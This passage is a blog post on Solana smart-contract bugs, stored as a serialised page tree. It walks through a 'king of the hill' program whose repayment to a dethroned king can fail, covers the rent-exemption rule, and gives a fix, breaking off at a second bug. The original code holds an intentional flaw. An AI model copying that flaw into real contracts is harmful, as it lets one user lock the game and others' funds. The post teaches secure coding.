)",{"type":19,"tag":168,"props":69361,"children":69362},{"style":399},[69363],{"type":24,"value":552},{"type":19,"tag":168,"props":69365,"children":69366},{"style":212},[69367],{"type":24,"value":412},{"type":19,"tag":168,"props":69369,"children":69370},{"class":170,"line":6504},[69371],{"type":19,"tag":168,"props":69372,"children":69373},{"emptyLinePlaceholder":14},[69374],{"type":24,"value":1093},{"type":19,"tag":168,"props":69376,"children":69377},{"class":170,"line":6549},[69378],{"type":19,"tag":168,"props":69379,"children":69380},{"style":373},[69381],{"type":24,"value":69382}," // Reimburse 95% of the last bid to the old king\n",{"type":19,"tag":168,"props":69384,"children":69385},{"class":170,"line":6655},[69386,69390,69395,69399,69403,69407,69411,69415,69419,69423,69427,69431,69435,69440,69444,69448,69453],{"type":19,"tag":168,"props":69387,"children":69388},{"style":382},[69389],{"type":24,"value":456},{"type":19,"tag":168,"props":69391,"children":69392},{"style":393},[69393],{"type":24,"value":69394}," to_reimburse",{"type":19,"tag":168,"props":69396,"children":69397},{"style":399},[69398],{"type":24,"value":402},{"type":19,"tag":168,"props":69400,"children":69401},{"style":212},[69402],{"type":24,"value":461},{"type":19,"tag":168,"props":69404,"children":69405},{"style":393},[69406],{"type":24,"value":17735},{"type":19,"tag":168,"props":69408,"children":69409},{"style":399},[69410],{"type":24,"value":948},{"type":19,"tag":168,"props":69412,"children":69413},{"style":212},[69414],{"type":24,"value":12121},{"type":19,"tag":168,"props":69416,"children":69417},{"style":399},[69418],{"type":24,"value":948},{"type":19,"tag":168,"props":69420,"children":69421},{"style":212},[69422],{"type":24,"value":69238},{"type":19,"tag":168,"props":69424,"children":69425},{"style":399},[69426],{"type":24,"value":948},{"type":19,"tag":168,"props":69428,"children":69429},{"style":212},[69430],{"type":24,"value":69247},{"type":19,"tag":168,"props":69432,"children":69433},{"style":399},[69434],{"type":24,"value":2002},{"type":19,"tag":168,"props":69436,"children":69437},{"style":192},[69438],{"type":24,"value":69439}," 9500",{"type":19,"tag":168,"props":69441,"children":69442},{"style":212},[69443],{"type":24,"value":481},{"type":19,"tag":168,"props":69445,"children":69446},{"style":399},[69447],{"type":24,"value":2012},{"type":19,"tag":168,"props":69449,"children":69450},{"style":192},[69451],{"type":24,"value":69452}," 10000",{"type":19,"tag":168,"props":69454,"children":69455},{"style":212},[69456],{"type":24,"value":412},{"type":19,"tag":168,"props":69458,"children":69459},{"class":170,"line":20965},[69460,69465],{"type":19,"tag":168,"props":69461,"children":69462},{"style":175},[69463],{"type":24,"value":69464}," transfer_from_pda",{"type":19,"tag":168,"props":69466,"children":69467},{"style":212},[69468],{"type":24,"value":870},{"type":19,"tag":168,"props":69470,"children":69471},{"class":170,"line":21000},[69472,69476,69480,69484,69488,69492,69496,69500,69504],{"type":19,"tag":168,"props":69473,"children":69474},{"style":399},[69475],{"type":24,"value":5121},{"type":19,"tag":168,"props":69477,"children":69478},{"style":393},[69479],{"type":24,"value":17735},{"type":19,"tag":168,"props":69481,"children":69482},{"style":399},[69483],{"type":24,"value":948},{"type":19,"tag":168,"props":69485,"children":69486},{"style":212},[69487],{"type":24,"value":12121},{"type":19,"tag":168,"props":69489,"children":69490},{"style":399},[69491],{"type":24,"value":948},{"type":19,"tag":168,"props":69493,"children":69494},{"style":212},[69495],{"type":24,"value":69238},{"type":19,"tag":168,"props":69497,"children":69498},{"style":399},[69499],{"type":24,"value":948},{"type":19,"tag":168,"props":69501,"children":69502},{"style":175},[69503],{"type":24,"value":69335},{"type":19,"tag":168,"props":69505,"children":69506},{"style":212},[69507],{"type":24,"value":898},{"type":19,"tag":168,"props":69509,"children":69510},{"class":170,"line":21008},[69511,69515,69519,69523,69527,69531],{"type":19,"tag":168,"props":69512,"children":69513},{"style":399},[69514],{"type":24,"value":5121},{"type":19,"tag":168,"props":69516,"children":69517},{"style":393},[69518],{"type":24,"value":17735},{"type":19,"tag":168,"props":69520,"children":69521},{"style":399},[69522],{"type":24,"value":948},{"type":19,"tag":168,"props":69524,"children":69525},{"style":212},[69526],{"type":24,"value":12121},{"type":19,"tag":168,"props":69528,"children":69529},{"style":399},[69530],{"type":24,"value":948},{"type":19,"tag":168,"props":69532,"children":69533},{"style":212},[69534],{"type":24,"value":69535},"old_king,\n",{"type":19,"tag":168,"props":69537,"children":69538},{"class":170,"line":21016},[69539,69544],{"type":19,"tag":168,"props":69540,"children":69541},{"style":393},[69542],{"type":24,"value":69543}," to_reimburse",{"type":19,"tag":168,"props":69545,"children":69546},{"style":212},[69547],{"type":24,"value":915},{"type":19,"tag":168,"props":69549,"children":69550},{"class":170,"line":21025},[69551,69555,69559],{"type":19,"tag":168,"props":69552,"children":69553},{"style":212},[69554],{"type":24,"value":69359},{"type":19,"tag":168,"props":69556,"children":69557},{"style":399},[69558],{"type":24,"value":552},{"type":19,"tag":168,"props":69560,"children":69561},{"style":212},[69562],{"type":24,"value":412},{"type":19,"tag":168,"props":69564,"children":69565},{"class":170,"line":21067},[69566],{"type":19,"tag":168,"props":69567,"children":69568},{"emptyLinePlaceholder":14},[69569],{"type":24,"value":1093},{"type":19,"tag":168,"props":69571,"children":69572},{"class":170,"line":21100},[69573],{"type":19,"tag":168,"props":69574,"children":69575},{"style":373},[69576],{"type":24,"value":69577}," // Set new king\n",{"type":19,"tag":168,"props":69579,"children":69580},{"class":170,"line":21108},[69581,69585,69589,69593,69597,69601,69605,69610,69614,69618,69622,69626,69630,69635,69639,69644],{"type":19,"tag":168,"props":69582,"children":69583},{"style":393},[69584],{"type":24,"value":23654},{"type":19,"tag":168,"props":69586,"children":69587},{"style":399},[69588],{"type":24,"value":948},{"type":19,"tag":168,"props":69590,"children":69591},{"style":212},[69592],{"type":24,"value":12121},{"type":19,"tag":168,"props":69594,"children":69595},{"style":399},[69596],{"type":24,"value":948},{"type":19,"tag":168,"props":69598,"children":69599},{"style":212},[69600],{"type":24,"value":69238},{"type":19,"tag":168,"props":69602,"children":69603},{"style":399},[69604],{"type":24,"value":948},{"type":19,"tag":168,"props":69606,"children":69607},{"style":212},[69608],{"type":24,"value":69609},"king ",{"type":19,"tag":168,"props":69611,"children":69612},{"style":399},[69613],{"type":24,"value":486},{"type":19,"tag":168,"props":69615,"children":69616},{"style":393},[69617],{"type":24,"value":23311},{"type":19,"tag":168,"props":69619,"children":69620},{"style":399},[69621],{"type":24,"value":948},{"type":19,"tag":168,"props":69623,"children":69624},{"style":212},[69625],{"type":24,"value":12121},{"type":19,"tag":168,"props":69627,"children":69628},{"style":399},[69629],{"type":24,"value":948},{"type":19,"tag":168,"props":69631,"children":69632},{"style":212},[69633],{"type":24,"value":69634},"new_king",{"type":19,"tag":168,"props":69636,"children":69637},{"style":399},[69638],{"type":24,"value":948},{"type":19,"tag":168,"props":69640,"children":69641},{"style":175},[69642],{"type":24,"value":69643},"key",{"type":19,"tag":168,"props":69645,"children":69646},{"style":212},[69647],{"type":24,"value":1084},{"type":19,"tag":168,"props":69649,"children":69650},{"class":170,"line":21116},[69651,69655,69659,69663,69667,69671,69675,69679,69683,69688],{"type":19,"tag":168,"props":69652,"children":69653},{"style":393},[69654],{"type":24,"value":23654},{"type":19,"tag":168,"props":69656,"children":69657},{"style":399},[69658],{"type":24,"value":948},{"type":19,"tag":168,"props":69660,"children":69661},{"style":212},[69662],{"type":24,"value":12121},{"type":19,"tag":168,"props":69664,"children":69665},{"style":399},[69666],{"type":24,"value":948},{"type":19,"tag":168,"props":69668,"children":69669},{"style":212},[69670],{"type":24,"value":69238},{"type":19,"tag":168,"props":69672,"children":69673},{"style":399},[69674],{"type":24,"value":948},{"type":19,"tag":168,"props":69676,"children":69677},{"style":212},[69678],{"type":24,"value":69247},{"type":19,"tag":168,"props":69680,"children":69681},{"style":399},[69682],{"type":24,"value":486},{"type":19,"tag":168,"props":69684,"children":69685},{"style":393},[69686],{"type":24,"value":69687}," bid_amount",{"type":19,"tag":168,"props":69689,"children":69690},{"style":212},[69691],{"type":24,"value":412},{"type":19,"tag":168,"props":69693,"children":69694},{"class":170,"line":21125},[69695,69699,69703,69707,69711,69715,69719,69724,69728,69733,69737,69741,69745,69749,69754,69758,69762],{"type":19,"tag":168,"props":69696,"children":69697},{"style":393},[69698],{"type":24,"value":23654},{"type":19,"tag":168,"props":69700,"children":69701},{"style":399},[69702],{"type":24,"value":948},{"type":19,"tag":168,"props":69704,"children":69705},{"style":212},[69706],{"type":24,"value":12121},{"type":19,"tag":168,"props":69708,"children":69709},{"style":399},[69710],{"type":24,"value":948},{"type":19,"tag":168,"props":69712,"children":69713},{"style":212},[69714],{"type":24,"value":69238},{"type":19,"tag":168,"props":69716,"children":69717},{"style":399},[69718],{"type":24,"value":948},{"type":19,"tag":168,"props":69720,"children":69721},{"style":212},[69722],{"type":24,"value":69723},"last_time ",{"type":19,"tag":168,"props":69725,"children":69726},{"style":399},[69727],{"type":24,"value":486},{"type":19,"tag":168,"props":69729,"children":69730},{"style":825},[69731],{"type":24,"value":69732}," Clock",{"type":19,"tag":168,"props":69734,"children":69735},{"style":399},[69736],{"type":24,"value":888},{"type":19,"tag":168,"props":69738,"children":69739},{"style":175},[69740],{"type":24,"value":13800},{"type":19,"tag":168,"props":69742,"children":69743},{"style":212},[69744],{"type":24,"value":11325},{"type":19,"tag":168,"props":69746,"children":69747},{"style":399},[69748],{"type":24,"value":529},{"type":19,"tag":168,"props":69750,"children":69751},{"style":212},[69752],{"type":24,"value":69753},"unix_timestamp ",{"type":19,"tag":168,"props":69755,"children":69756},{"style":382},[69757],{"type":24,"value":6280},{"type":19,"tag":168,"props":69759,"children":69760},{"style":825},[69761],{"type":24,"value":3294},{"type":19,"tag":168,"props":69763,"children":69764},{"style":212},[69765],{"type":24,"value":412},{"type":19,"tag":168,"props":69767,"children":69768},{"class":170,"line":21201},[69769],{"type":19,"tag":168,"props":69770,"children":69771},{"emptyLinePlaceholder":14},[69772],{"type":24,"value":1093},{"type":19,"tag":168,"props":69774,"children":69775},{"class":170,"line":21234},[69776,69780],{"type":19,"tag":168,"props":69777,"children":69778},{"style":825},[69779],{"type":24,"value":12258},{"type":19,"tag":168,"props":69781,"children":69782},{"style":212},[69783],{"type":24,"value":11784},{"type":19,"tag":168,"props":69785,"children":69786},{"class":170,"line":21242},[69787],{"type":19,"tag":168,"props":69788,"children":69789},{"style":212},[69790],{"type":24,"value":761},{"type":19,"tag":168,"props":69792,"children":69793},{"class":170,"line":21250},[69794],{"type":19,"tag":168,"props":69795,"children":69796},{"style":212},[69797],{"type":24,"value":1326},{"type":19,"tag":20,"props":69799,"children":69800},{},[69801],{"type":24,"value":69802},"Note this comment:",{"type":19,"tag":315,"props":69804,"children":69805},{},[69806],{"type":19,"tag":20,"props":69807,"children":69808},{},[69809],{"type":24,"value":69810},"any writable account is allowed as a new king.",{"type":19,"tag":20,"props":69812,"children":69813},{},[69814],{"type":24,"value":69815},"...Is our assumption correct?",{"type":19,"tag":36,"props":69817,"children":69819},{"id":69818},"the-bugs-lurking-beneath",[69820],{"type":24,"value":69821},"The Bugs Lurking Beneath",{"type":19,"tag":7050,"props":69823,"children":69825},{"id":69824},"bug-1-the-rent-exemption-trap",[69826],{"type":24,"value":69827},"Bug 1: The Rent-Exemption Trap",{"type":19,"tag":20,"props":69829,"children":69830},{},[69831,69833,69838],{"type":24,"value":69832},"On Solana, all accounts must maintain a ",{"type":19,"tag":51,"props":69834,"children":69835},{},[69836],{"type":24,"value":69837},"minimum balance",{"type":24,"value":69839}," of lamports to remain rent-exempt. Specifically, an account can be in one of two states:",{"type":19,"tag":43,"props":69841,"children":69842},{},[69843,69858],{"type":19,"tag":47,"props":69844,"children":69845},{},[69846,69851,69852],{"type":19,"tag":51,"props":69847,"children":69848},{},[69849],{"type":24,"value":69850},"Uninitialized",{"type":24,"value":12778},{"type":19,"tag":27,"props":69853,"children":69855},{"className":69854},[],[69856],{"type":24,"value":69857},"lamports = 0",{"type":19,"tag":47,"props":69859,"children":69860},{},[69861,69866,69867],{"type":19,"tag":51,"props":69862,"children":69863},{},[69864],{"type":24,"value":69865},"Initialized",{"type":24,"value":12778},{"type":19,"tag":27,"props":69868,"children":69870},{"className":69869},[],[69871],{"type":24,"value":69872},"lamports >= rent-exempt threshold",{"type":19,"tag":20,"props":69874,"children":69875},{},[69876,69878,69883],{"type":24,"value":69877},"This rent model exists to prevent low-cost DoS attacks on validators. The key idea is that even an account with no data (i.e., zero-length data buffer) still consumes on-chain resources; specifically, ",{"type":19,"tag":51,"props":69879,"children":69880},{},[69881],{"type":24,"value":69882},"account metadata",{"type":24,"value":69884}," like its public key, owner, or lamport balance. That metadata must be stored persistently by validators, and that storage isn't free.",{"type":19,"tag":20,"props":69886,"children":69887},{},[69888,69890,69896],{"type":24,"value":69889},"So “persistent state” on Solana doesn’t just mean your program's data — it includes the base account structure itself. Even accounts with ",{"type":19,"tag":27,"props":69891,"children":69893},{"className":69892},[],[69894],{"type":24,"value":69895},"data.len() == 0",{"type":24,"value":69897}," must meet a minimum rent threshold to remain alive and avoid garbage collection by the runtime.",{"type":19,"tag":20,"props":69899,"children":69900},{},[69901,69903,69909],{"type":24,"value":69902},"This is enforced at the runtime level, and the relevant logic can be found ",{"type":19,"tag":269,"props":69904,"children":69907},{"href":69905,"rel":69906},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/svm-rent-collector/src/svm_rent_collector.rs#L117-L136",[273],[69908],{"type":24,"value":45066},{"type":24,"value":948},{"type":19,"tag":158,"props":69911,"children":69913},{"className":363,"code":69912,"language":362,"meta":7,"style":7}," fn transition_allowed(&self, pre_rent_state: &RentState, post_rent_state: &RentState) -> bool {\n match post_rent_state {\n RentState::Uninitialized | RentState::RentExempt => true,\n RentState::RentPaying {\n data_size: post_data_size,\n lamports: post_lamports,\n } => {\n match pre_rent_state {\n RentState::Uninitialized | RentState::RentExempt => false,\n RentState::RentPaying {\n data_size: pre_data_size,\n lamports: pre_lamports,\n } => {\n // Cannot remain RentPaying if resized or credited.\n post_data_size == pre_data_size && post_lamports \u003C= pre_lamports\n }\n }\n }\n }\n }\n",[69914],{"type":19,"tag":27,"props":69915,"children":69916},{"__ignoreMap":7},[69917,70001,70018,70064,70084,70105,70126,70141,70158,70202,70221,70242,70263,70279,70287,70320,70327,70334,70341,70348],{"type":19,"tag":168,"props":69918,"children":69919},{"class":170,"line":171},[69920,69925,69930,69934,69938,69942,69946,69951,69955,69959,69964,69968,69973,69977,69981,69985,69989,69993,69997],{"type":19,"tag":168,"props":69921,"children":69922},{"style":382},[69923],{"type":24,"value":69924}," fn",{"type":19,"tag":168,"props":69926,"children":69927},{"style":175},[69928],{"type":24,"value":69929}," transition_allowed",{"type":19,"tag":168,"props":69931,"children":69932},{"style":212},[69933],{"type":24,"value":500},{"type":19,"tag":168,"props":69935,"children":69936},{"style":399},[69937],{"type":24,"value":505},{"type":19,"tag":168,"props":69939,"children":69940},{"style":382},[69941],{"type":24,"value":11159},{"type":19,"tag":168,"props":69943,"children":69944},{"style":212},[69945],{"type":24,"value":471},{"type":19,"tag":168,"props":69947,"children":69948},{"style":393},[69949],{"type":24,"value":69950},"pre_rent_state",{"type":19,"tag":168,"props":69952,"children":69953},{"style":399},[69954],{"type":24,"value":1922},{"type":19,"tag":168,"props":69956,"children":69957},{"style":399},[69958],{"type":24,"value":4577},{"type":19,"tag":168,"props":69960,"children":69961},{"style":825},[69962],{"type":24,"value":69963},"RentState",{"type":19,"tag":168,"props":69965,"children":69966},{"style":212},[69967],{"type":24,"value":471},{"type":19,"tag":168,"props":69969,"children":69970},{"style":393},[69971],{"type":24,"value":69972},"post_rent_state",{"type":19,"tag":168,"props":69974,"children":69975},{"style":399},[69976],{"type":24,"value":1922},{"type":19,"tag":168,"props":69978,"children":69979},{"style":399},[69980],{"type":24,"value":4577},{"type":19,"tag":168,"props":69982,"children":69983},{"style":825},[69984],{"type":24,"value":69963},{"type":19,"tag":168,"props":69986,"children":69987},{"style":212},[69988],{"type":24,"value":481},{"type":19,"tag":168,"props":69990,"children":69991},{"style":399},[69992],{"type":24,"value":11203},{"type":19,"tag":168,"props":69994,"children":69995},{"style":825},[69996],{"type":24,"value":9495},{"type":19,"tag":168,"props":69998,"children":69999},{"style":212},[70000],{"type":24,"value":691},{"type":19,"tag":168,"props":70002,"children":70003},{"class":170,"line":198},[70004,70009,70014],{"type":19,"tag":168,"props":70005,"children":70006},{"style":419},[70007],{"type":24,"value":70008}," match",{"type":19,"tag":168,"props":70010,"children":70011},{"style":393},[70012],{"type":24,"value":70013}," post_rent_state",{"type":19,"tag":168,"props":70015,"children":70016},{"style":212},[70017],{"type":24,"value":691},{"type":19,"tag":168,"props":70019,"children":70020},{"class":170,"line":415},[70021,70026,70030,70034,70038,70043,70047,70052,70056,70060],{"type":19,"tag":168,"props":70022,"children":70023},{"style":825},[70024],{"type":24,"value":70025}," RentState",{"type":19,"tag":168,"props":70027,"children":70028},{"style":399},[70029],{"type":24,"value":888},{"type":19,"tag":168,"props":70031,"children":70032},{"style":825},[70033],{"type":24,"value":69850},{"type":19,"tag":168,"props":70035,"children":70036},{"style":399},[70037],{"type":24,"value":1699},{"type":19,"tag":168,"props":70039,"children":70040},{"style":825},[70041],{"type":24,"value":70042}," RentState",{"type":19,"tag":168,"props":70044,"children":70045},{"style":399},[70046],{"type":24,"value":888},{"type":19,"tag":168,"props":70048,"children":70049},{"style":825},[70050],{"type":24,"value":70051},"RentExempt",{"type":19,"tag":168,"props":70053,"children":70054},{"style":399},[70055],{"type":24,"value":25221},{"type":19,"tag":168,"props":70057,"children":70058},{"style":382},[70059],{"type":24,"value":9914},{"type":19,"tag":168,"props":70061,"children":70062},{"style":212},[70063],{"type":24,"value":915},{"type":19,"tag":168,"props":70065,"children":70066},{"class":170,"line":450},[70067,70071,70075,70080],{"type":19,"tag":168,"props":70068,"children":70069},{"style":825},[70070],{"type":24,"value":70025},{"type":19,"tag":168,"props":70072,"children":70073},{"style":399},[70074],{"type":24,"value":888},{"type":19,"tag":168,"props":70076,"children":70077},{"style":825},[70078],{"type":24,"value":70079},"RentPaying",{"type":19,"tag":168,"props":70081,"children":70082},{"style":212},[70083],{"type":24,"value":691},{"type":19,"tag":168,"props":70085,"children":70086},{"class":170,"line":560},[70087,70092,70096,70101],{"type":19,"tag":168,"props":70088,"children":70089},{"style":393},[70090],{"type":24,"value":70091}," data_size",{"type":19,"tag":168,"props":70093,"children":70094},{"style":399},[70095],{"type":24,"value":1922},{"type":19,"tag":168,"props":70097,"children":70098},{"style":393},[70099],{"type":24,"value":70100}," post_data_size",{"type":19,"tag":168,"props":70102,"children":70103},{"style":212},[70104],{"type":24,"value":915},{"type":19,"tag":168,"props":70106,"children":70107},{"class":170,"line":666},[70108,70113,70117,70122],{"type":19,"tag":168,"props":70109,"children":70110},{"style":393},[70111],{"type":24,"value":70112}," lamports",{"type":19,"tag":168,"props":70114,"children":70115},{"style":399},[70116],{"type":24,"value":1922},{"type":19,"tag":168,"props":70118,"children":70119},{"style":393},[70120],{"type":24,"value":70121}," post_lamports",{"type":19,"tag":168,"props":70123,"children":70124},{"style":212},[70125],{"type":24,"value":915},{"type":19,"tag":168,"props":70127,"children":70128},{"class":170,"line":694},[70129,70133,70137],{"type":19,"tag":168,"props":70130,"children":70131},{"style":212},[70132],{"type":24,"value":68081},{"type":19,"tag":168,"props":70134,"children":70135},{"style":399},[70136],{"type":24,"value":12268},{"type":19,"tag":168,"props":70138,"children":70139},{"style":212},[70140],{"type":24,"value":691},{"type":19,"tag":168,"props":70142,"children":70143},{"class":170,"line":707},[70144,70149,70154],{"type":19,"tag":168,"props":70145,"children":70146},{"style":419},[70147],{"type":24,"value":70148}," match",{"type":19,"tag":168,"props":70150,"children":70151},{"style":393},[70152],{"type":24,"value":70153}," pre_rent_state",{"type":19,"tag":168,"props":70155,"children":70156},{"style":212},[70157],{"type":24,"value":691},{"type":19,"tag":168,"props":70159,"children":70160},{"class":170,"line":725},[70161,70166,70170,70174,70178,70182,70186,70190,70194,70198],{"type":19,"tag":168,"props":70162,"children":70163},{"style":825},[70164],{"type":24,"value":70165}," RentState",{"type":19,"tag":168,"props":70167,"children":70168},{"style":399},[70169],{"type":24,"value":888},{"type":19,"tag":168,"props":70171,"children":70172},{"style":825},[70173],{"type":24,"value":69850},{"type":19,"tag":168,"props":70175,"children":70176},{"style":399},[70177],{"type":24,"value":1699},{"type":19,"tag":168,"props":70179,"children":70180},{"style":825},[70181],{"type":24,"value":70042},{"type":19,"tag":168,"props":70183,"children":70184},{"style":399},[70185],{"type":24,"value":888},{"type":19,"tag":168,"props":70187,"children":70188},{"style":825},[70189],{"type":24,"value":70051},{"type":19,"tag":168,"props":70191,"children":70192},{"style":399},[70193],{"type":24,"value":25221},{"type":19,"tag":168,"props":70195,"children":70196},{"style":382},[70197],{"type":24,"value":6497},{"type":19,"tag":168,"props":70199,"children":70200},{"style":212},[70201],{"type":24,"value":915},{"type":19,"tag":168,"props":70203,"children":70204},{"class":170,"line":746},[70205,70209,70213,70217],{"type":19,"tag":168,"props":70206,"children":70207},{"style":825},[70208],{"type":24,"value":70165},{"type":19,"tag":168,"props":70210,"children":70211},{"style":399},[70212],{"type":24,"value":888},{"type":19,"tag":168,"props":70214,"children":70215},{"style":825},[70216],{"type":24,"value":70079},{"type":19,"tag":168,"props":70218,"children":70219},{"style":212},[70220],{"type":24,"value":691},{"type":19,"tag":168,"props":70222,"children":70223},{"class":170,"line":755},[70224,70229,70233,70238],{"type":19,"tag":168,"props":70225,"children":70226},{"style":393},[70227],{"type":24,"value":70228}," data_size",{"type":19,"tag":168,"props":70230,"children":70231},{"style":399},[70232],{"type":24,"value":1922},{"type":19,"tag":168,"props":70234,"children":70235},{"style":393},[70236],{"type":24,"value":70237}," pre_data_size",{"type":19,"tag":168,"props":70239,"children":70240},{"style":212},[70241],{"type":24,"value":915},{"type":19,"tag":168,"props":70243,"children":70244},{"class":170,"line":1008},[70245,70250,70254,70259],{"type":19,"tag":168,"props":70246,"children":70247},{"style":393},[70248],{"type":24,"value":70249}," lamports",{"type":19,"tag":168,"props":70251,"children":70252},{"style":399},[70253],{"type":24,"value":1922},{"type":19,"tag":168,"props":70255,"children":70256},{"style":393},[70257],{"type":24,"value":70258}," pre_lamports",{"type":19,"tag":168,"props":70260,"children":70261},{"style":212},[70262],{"type":24,"value":915},{"type":19,"tag":168,"props":70264,"children":70265},{"class":170,"line":1025},[70266,70271,70275],{"type":19,"tag":168,"props":70267,"children":70268},{"style":212},[70269],{"type":24,"value":70270}," } ",{"type":19,"tag":168,"props":70272,"children":70273},{"style":399},[70274],{"type":24,"value":12268},{"type":19,"tag":168,"props":70276,"children":70277},{"style":212},[70278],{"type":24,"value":691},{"type":19,"tag":168,"props":70280,"children":70281},{"class":170,"line":1042},[70282],{"type":19,"tag":168,"props":70283,"children":70284},{"style":373},[70285],{"type":24,"value":70286}," // Cannot remain RentPaying if resized or credited.\n",{"type":19,"tag":168,"props":70288,"children":70289},{"class":170,"line":1055},[70290,70295,70299,70303,70307,70311,70315],{"type":19,"tag":168,"props":70291,"children":70292},{"style":393},[70293],{"type":24,"value":70294}," post_data_size",{"type":19,"tag":168,"props":70296,"children":70297},{"style":399},[70298],{"type":24,"value":682},{"type":19,"tag":168,"props":70300,"children":70301},{"style":393},[70302],{"type":24,"value":70237},{"type":19,"tag":168,"props":70304,"children":70305},{"style":399},[70306],{"type":24,"value":11631},{"type":19,"tag":168,"props":70308,"children":70309},{"style":393},[70310],{"type":24,"value":70121},{"type":19,"tag":168,"props":70312,"children":70313},{"style":399},[70314],{"type":24,"value":5634},{"type":19,"tag":168,"props":70316,"children":70317},{"style":393},[70318],{"type":24,"value":70319}," pre_lamports\n",{"type":19,"tag":168,"props":70321,"children":70322},{"class":170,"line":1064},[70323],{"type":19,"tag":168,"props":70324,"children":70325},{"style":212},[70326],{"type":24,"value":68550},{"type":19,"tag":168,"props":70328,"children":70329},{"class":170,"line":1087},[70330],{"type":19,"tag":168,"props":70331,"children":70332},{"style":212},[70333],{"type":24,"value":68558},{"type":19,"tag":168,"props":70335,"children":70336},{"class":170,"line":1096},[70337],{"type":19,"tag":168,"props":70338,"children":70339},{"style":212},[70340],{"type":24,"value":56369},{"type":19,"tag":168,"props":70342,"children":70343},{"class":170,"line":1105},[70344],{"type":19,"tag":168,"props":70345,"children":70346},{"style":212},[70347],{"type":24,"value":752},{"type":19,"tag":168,"props":70349,"children":70350},{"class":170,"line":1174},[70351],{"type":19,"tag":168,"props":70352,"children":70353},{"style":212},[70354],{"type":24,"value":761},{"type":19,"tag":20,"props":70356,"children":70357},{},[70358],{"type":24,"value":70359},"You can check the rent-exemption threshold for a zero-data account with the CLI:",{"type":19,"tag":158,"props":70361,"children":70363},{"className":160,"code":70362,"language":162,"meta":7,"style":7},"solana rent 0\nRent-exempt minimum: 0.00089088 SOL\n",[70364],{"type":19,"tag":27,"props":70365,"children":70366},{"__ignoreMap":7},[70367,70383],{"type":19,"tag":168,"props":70368,"children":70369},{"class":170,"line":171},[70370,70374,70379],{"type":19,"tag":168,"props":70371,"children":70372},{"style":175},[70373],{"type":24,"value":259},{"type":19,"tag":168,"props":70375,"children":70376},{"style":181},[70377],{"type":24,"value":70378}," rent",{"type":19,"tag":168,"props":70380,"children":70381},{"style":192},[70382],{"type":24,"value":21746},{"type":19,"tag":168,"props":70384,"children":70385},{"class":170,"line":198},[70386,70391,70396,70401],{"type":19,"tag":168,"props":70387,"children":70388},{"style":175},[70389],{"type":24,"value":70390},"Rent-exempt",{"type":19,"tag":168,"props":70392,"children":70393},{"style":181},[70394],{"type":24,"value":70395}," minimum:",{"type":19,"tag":168,"props":70397,"children":70398},{"style":192},[70399],{"type":24,"value":70400}," 0.00089088",{"type":19,"tag":168,"props":70402,"children":70403},{"style":181},[70404],{"type":24,"value":70405}," SOL\n",{"type":19,"tag":16345,"props":70407,"children":70409},{"id":70408},"fix-1-only-reimburse-if-rent-exempt",[70410],{"type":24,"value":70411},"Fix 1: Only Reimburse if Rent-Exempt",{"type":19,"tag":20,"props":70413,"children":70414},{},[70415],{"type":24,"value":70416},"We don't want to donate anything to an unfair king! So let's update our program to reimburse only if the old king will be rent-exempt after the transfer:",{"type":19,"tag":158,"props":70418,"children":70420},{"className":37836,"code":70419,"language":37838,"meta":7,"style":7},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n+let rent = Rent::get()?;\n+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n transfer_from_pda(\n &ctx.accounts.throne.to_account_info(),\n &ctx.accounts.old_king,\n to_reimburse,\n )?;\n+}\n",[70421],{"type":19,"tag":27,"props":70422,"children":70423},{"__ignoreMap":7},[70424,70432,70440,70448,70456,70464,70472,70480,70488,70496],{"type":19,"tag":168,"props":70425,"children":70426},{"class":170,"line":171},[70427],{"type":19,"tag":168,"props":70428,"children":70429},{"style":212},[70430],{"type":24,"value":70431},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n",{"type":19,"tag":168,"props":70433,"children":70434},{"class":170,"line":198},[70435],{"type":19,"tag":168,"props":70436,"children":70437},{"style":192},[70438],{"type":24,"value":70439},"+let rent = Rent::get()?;\n",{"type":19,"tag":168,"props":70441,"children":70442},{"class":170,"line":415},[70443],{"type":19,"tag":168,"props":70444,"children":70445},{"style":192},[70446],{"type":24,"value":70447},"+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n",{"type":19,"tag":168,"props":70449,"children":70450},{"class":170,"line":450},[70451],{"type":19,"tag":168,"props":70452,"children":70453},{"style":192},[70454],{"type":24,"value":70455},"+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n",{"type":19,"tag":168,"props":70457,"children":70458},{"class":170,"line":560},[70459],{"type":19,"tag":168,"props":70460,"children":70461},{"style":212},[70462],{"type":24,"value":70463}," transfer_from_pda(\n",{"type":19,"tag":168,"props":70465,"children":70466},{"class":170,"line":666},[70467],{"type":19,"tag":168,"props":70468,"children":70469},{"style":212},[70470],{"type":24,"value":70471}," &ctx.accounts.throne.to_account_info(),\n",{"type":19,"tag":168,"props":70473,"children":70474},{"class":170,"line":694},[70475],{"type":19,"tag":168,"props":70476,"children":70477},{"style":212},[70478],{"type":24,"value":70479}," &ctx.accounts.old_king,\n",{"type":19,"tag":168,"props":70481,"children":70482},{"class":170,"line":707},[70483],{"type":19,"tag":168,"props":70484,"children":70485},{"style":212},[70486],{"type":24,"value":70487}," to_reimburse,\n",{"type":19,"tag":168,"props":70489,"children":70490},{"class":170,"line":725},[70491],{"type":19,"tag":168,"props":70492,"children":70493},{"style":212},[70494],{"type":24,"value":70495}," )?;\n",{"type":19,"tag":168,"props":70497,"children":70498},{"class":170,"line":746},[70499],{"type":19,"tag":168,"props":70500,"children":70501},{"style":192},[70502],{"type":24,"value":70503},"+}\n",{"type":19,"tag":20,"props":70505,"children":70506},{},[70507],{"type":24,"value":70508},"But is rent-exemption the only thing that can cause a lamport transfer to fail? Not quite.",{"type":19,"tag":7050,"props":70510,"children":70512},{"id":70511},"bug-2-writable-but-untouchable-set_lamports-fails",[70513,70515,70521],{"type":24,"value":70514},"Bug 2: Writable but Untouchable — ",{"type":19,"tag":27,"props":70516,"children":70518},{"className":70517},[],[70519],{"type":24,"value":70520},"set_lamports",{"type":24,"value":70522}," Fails",{"type":19,"tag":20,"props":70524,"children":70525},{},[70526,70528,70535],{"type":24,"value":70527},"Let's look at 